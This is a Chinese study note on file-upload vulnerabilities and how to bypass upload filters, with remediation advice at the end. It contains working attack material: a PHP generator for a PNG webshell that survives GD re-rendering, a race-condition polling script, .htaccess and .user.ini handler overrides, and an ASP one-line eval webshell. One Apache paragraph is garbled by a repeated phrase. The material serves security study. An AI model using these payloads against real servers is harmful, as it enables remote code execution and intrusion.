web安全之文件上传学习总结

文件上传

概念

客户端 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径

服务器 接收的资源程序

文件上传时的错误代码

  值:0  表明没有错误发生,文件上传成功。

  值:1  表明上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。

  值:2  表明上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。

  值:3  表明文件只有部分被上传。

  值:4  表明没有文件被上传。

绕过

客户端

前端js验证

绕过方式

1、禁用js

2、burp抓包修改后缀名

3、F12修改

4、本地提交

服务端检查

检查后缀

黑名单

1、代码思路

黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。

2、绕过

找漏网之鱼:cer、php3、php4、phtml等。

大小写绕过 :AsP、PhP

双写绕过:.pphphp

利用windows系统特性:

系统特性突破(绕过防火墙)

漏洞原理: 利用PHP 和 Windows环境的叠加特性,上传x.php:.jpg时,会生成x.php的空白文件,接着,以下符号在正则匹配时的相等性:

双引号"     相当于   点号.

大于符号>   相当于  问号?

小于符号<   相当于   星号*

文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名

写入filename.<<<

NTFS交换数据流(绕过防火墙)

漏洞原理:

NTFS文件系统中对备用数据流(文件流)和对支持windows系统中默认采用这种数据流::$DATA(只有win支持),如果文件名后加::$DATA会把上传的数据当作文件流去处理,不会检测后缀名,且保持::$DATA之前的文件名目的就是绕过对后缀名的检测,源代码缺少对::$DATA的过滤,抓包在后缀后面加上::$DATA即可,访问时要去除后面的::$DATA,直接访问php文件就行

例:

test.php:1.jpg

test.php::$DATA

会被windows系统自动去掉不符合规则符号后面的内容

文件名后加空格----利用Windows系统特性

文件名后加点(.)----利用Windows系统特性

组合以上方法  代码迭代问题  只检测一次  可以根据环境进行组合绕过

白名单

1、代码思路

定义其他格式文件 jpg png fig jpeg ico 等,只要不符合以上格式后缀一律不让上传       

2、绕过

MIME修改

媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。

MIME的组成结构非常简单;由类型与子类型两个字符串中间用 '/' 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。

通用的结构为:type/subtype

MIME类型对大小写不敏感,但是传统写法都是小写。

我们只需要将Content-Type改为合适的类型就可以。

文件类型

在网络请求中,常用的Content-Type有如下:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 等。

text/plain(纯文本)

text/html(HTML文档)

text/javascript(js代码)

application/xhtml+xml(XHTML文档)

image/gif(GIF图像)

image/jpeg(JPEG图像)

image/png(PNG图像)

video/mpeg(MPEG动画)

application/octet-stream(二进制数据)

application/pdf(PDF文档)

application/(编程语言) 该种语言的代码

application/msword(Microsoft Word文件)

message/rfc822(RFC 822形式)

multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)

application/x-www-form-urlencoded(POST方法提交的表单)

multipart/form-data(POST提交时伴随文件上传的表单)

图片类型:

Content-Type: image/jpeg

Content-Type: image/png

Content-Type: image/gif

仅限制Content-Type的话,Burp抓包,修改Content-Type,然后放行,即可绕过

%00截断(GET型)

位置在url地址中

严谨获取后缀名的话 会获取最后一个 .后面的后缀

x.php.jpg直接上传达不到目的并且会被重命名

可被截断绕过

上传路径名%00截断绕过

上传的文件名写成11.jpg, save_path改成../upload/11.php%00,最后保存下来的文件就是11.php

文件上传%00截断的条件:

1 PHP版本小于5.3.4

2 php.ini中的magic_quotes_gpc设置为Off(魔术开关关闭时)

%00截断原理:

www.xxx.com/abc.php%00.jpg => www.xxx.com/abc.php

0x00截断(POST型)

位置在数据包中

0x00需要手动解码 而%00不需要,get请求对url编码进行解码,而post表单不对%00进行解码

burp抓包添加%00并解码

检查内容

文件头检测

仅限制Content-Type的话,Burp抓包,修改Content-Type,然后放行,即可绕过

文件内容头检测

文件内容头检测        只验证文件内容头的话不安全,配合后缀名验证会安全些

添加GIF图片的文件头GIF89a,绕过GIF图片检查。

常见文件文件头

https://blog.csdn.net/zhembrace/article/details/52717559?locationNum=10&fps=1

文件内容检查

检测内容是否合法或含有恶意代码

绕过检查

html 插入

二次渲染

文件加载检测(文件内容检测)

漏洞原理: 服务器会根据用户上传的图片重新生成图片,但其十六进制文件有部分没有改变

常见的是对图像进行二次渲染,一般是调用PHP 的GD库

gif后缀做测试

保留部分插入后门代码

渲染函数导致可用图片webshell

攻击原理:

将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

一个绕过GD库的Webshell生成器:

http://wiki.ioin.in/soft/detail/1q

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

php图片二次渲染步骤

制作一张二次渲染过后,恶意代码依旧存在的png图片马

//png.php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

  $r = $p[$y];

  $g = $p[$y+1];

  $b = $p[$y+2];

  $color = imagecolorallocate($img, $r, $g, $b);

  imagesetpixel($img, round($y / 3), 0, $color);

}

imagepng($img,'./pass17.png');

?>

然后添加上述代码致payload.php

然后上网页运行127.0.0.1/payload.php

因为我们代码最后

会生成一个pass17.png 图片

再上传这张图片即可绕过

生成的图片后门  需要get post提交两个变量

get 0=phpinfo

post 1=-1

利用文件包含漏洞即可运行代码

参考文档:https://blog.csdn.net/weixin_45588247/article/details/119177948

代码逻辑

单次过滤

双写文件名绕过 文件名改成xx.pphphp

条件竞争

一些网站允许上传任意文件,然后检测文件是否包含Webshell,如果有则删除该文件。

unlink()函数导致木马文件会在服务器存在一定的时间,再被清除。

服务器端在处理不同用户的请求时是并发进行的

如果并发处理不当或相关操作逻辑顺序设计的不合理时,将导致条件竞争漏洞

绕过:

它先把文件保存在本地,再检查,然后删除

在上传完成和安全检查删除它的间隙,攻击者用多线程不断的发起访问请求该文件

该文件就会被执行从而生成一个恶意shell

竞争删除前生成shell流程:

上传文件→访问执行文件,生成shell文件→删除不安全文件 (多线程访问)

create_shell.php

');?>

python请求代码

import requests

url = "https://830-d6af6a91-a30e-43e8-9e18-806f4c34cf37.do-not-trust.hacking.run/upload/1.php"

try:

   i=1

   while True:

       html = requests.get(url)

       # print(html.status_code)

       if html.status_code == 200:

           print("OK")

           break

       else:

           print('no'+str(i))

           i=i+1

except:

   pass

防御方案:

对于文件上传,在将文件保存在本地前就进行相应的安全检查

解析安全

参考 中间件解析漏洞

格式变异

php4 php5 phtml pht 等格式 这是有关apache的配置文件中设置问题 只要满足特点正则表达式即可

中间件解析

重写漏洞

条件: apache开启重写模块,LoadModule rewrite_module modules/mod_rewrite.so

htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

黑白名单通用,如果可上传修改 .htaccess 文件 (还能用于隐藏后门)

重写文件解析规则绕过

即先上传个.htaccess文件,让解析规则变更

SetHandler application/x-httpd-php

//上传的所有.jpg文件,将解析为php运行

nginx: 上传.user.ini文件,内容为:

#define width 1337

#define height 1337

\x00\x00\x8a\x39\x8a\x39

auto_prepend_file = 1.jpg

把当前文件夹下的所有php文件都包含这个1.jpg

特别注意是当前文件夹下

加入目录里面有index.php和1.jpg,则此时访问index.php,网页中就包含了木马

其他:

双文件上传漏洞

漏洞原理:

往往对第一个文件上传进行检测而忽略第二个, 所以在第二个地方上传shell就行

iis7.0|iis7.5|nginx解析漏洞

漏洞原理:

1、php.ini里cgi.fix_pathinfo=1(默认为1)

2、在”Handler Mapping”中取消勾选"仅当请求映射至以下内容时才调用处理程序"

漏洞利用: xxx.jpg/.php表示将图片当成php解析

nginx < 0.83 漏洞

漏洞原理: %00截断

漏洞利用: /1.jpg%00php

Apache未知扩展名解析漏洞

Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则文件内),则继续向左识别,直到识别到合法后缀才进行解析。

漏洞利用:phpinfo.php.xxx

实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。

Apache换行解析漏洞(CVE-2017-15715)

影响范围:2.4.0~2.4.29版本

环境:phpstudy2014 Apache + PHP5.4n

此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r

在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

SetHandler application/x-httpd-php

限制:获取文件名时不能用$_FILES['file']['name'],因为它会自动把换行去掉。

修复建议:

1、升级到最新版本

2、或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限。

一句话木马

php

asp

<%eval request("xxx")%>

asp一句话木马 可以写在asp,asa,cdx,cer文件中,这些文件都能够识别

文件上传修复建议

1、使用白名单限制可以上传的文件扩展名

2、注意0x00截断攻击(PHP更新到最新版本)

3、对上传后的文件统一随机命名,不允许用户控制扩展名

4、上传文件的存储目录禁用执行权限

代码审计中关注以下函数

move_uploaded_file() //将上传的文件移动到新位置

全局搜索$_FILES变量,定位到相关的上传过程查看过滤是否严格。

文件上传代码

$is_upload = false;

$msg = null;

if(!empty($_FILES['upload_file'])){

    //检查MIME

    $allow_type = array('image/jpeg','image/png','image/gif');

    if(!in_array($_FILES['upload_file']['type'],$allow_type)){

        $msg = "禁止上传该类型文件!";

    }else{

        //检查文件名

        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

        if (!is_array($file)) {

            $file = explode('.', strtolower($file));

        }

        $ext = end($file);

        $allow_suffix = array('jpg','png','gif');

        if (!in_array($ext, $allow_suffix)) {

            $msg = "禁止上传该后缀文件!";

        }else{

            $file_name = reset($file) . '.' . $file[count($file) - 1];

            $temp_file = $_FILES['upload_file']['tmp_name'];

            $img_path = UPLOAD_PATH . '/' .$file_name;

            if (move_uploaded_file($temp_file, $img_path)) {

                $msg = "文件上传成功!";

                $is_upload = true;

            } else {

                $msg = "文件上传失败!";

            }

        }

    }

}else{

    $msg = "请选择要上传的文件!";

}

action属性是提交的目标。

method属性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上传一般用 POST。

enctype属性必须要写成这样,因为文件上传和普通的提交具有不同的编码方式。如果不写的话,可能会被当做urlencoded,就是k1=v1&k2=v2的键值对形式,导致解析不出东西。

最后是文件输入框,它的name属性非常重要,它是PHP脚本中寻找文件的关键字。

接下来是PHP脚本中的东西,PHP中通过$_FILES对象来读取文件,通过下列几个属性:

$_FILESfile - 被上传文件的名称。

$_FILESfile - 被上传文件的类型。

$_FILESfile - 被上传文件的大小(字节)。

$_FILESfile - 被上传文件在服务器保存的路径,通常位于临时目录中。

$_FILESfile - 错误代码,0为无错误,其它都是有错误。

如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));。并且后缀有白名单过滤。

而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。$file[0]为1.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。

此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php。

相关函数:

getimagesize($filename);函数判断文件是否为图片

exif_imagetype()检查是否为图片文件

imagecreatefromjpeg() 二次渲染函数 由文件或 URL 创建一个新图象。

实战思路

文件上传不管是发现还是利用上都会根据产生层面而不同, 常规无资料采用常规思路测试,有资料的情况下直接参考资料进行。

上传分类

常规网站

框架CMS

编辑器

中间件

有已知漏洞则利用已知漏洞

靶场项目地址:

https://github.com/c0ny1/upload-labs

https://github.com/admin360bug/upload-labs


后续笔记修改及完善会在个人学习记录更新

有一起学习的欢迎加qq群622816049共同讨论

你可能感兴趣的:(web安全之文件上传学习总结)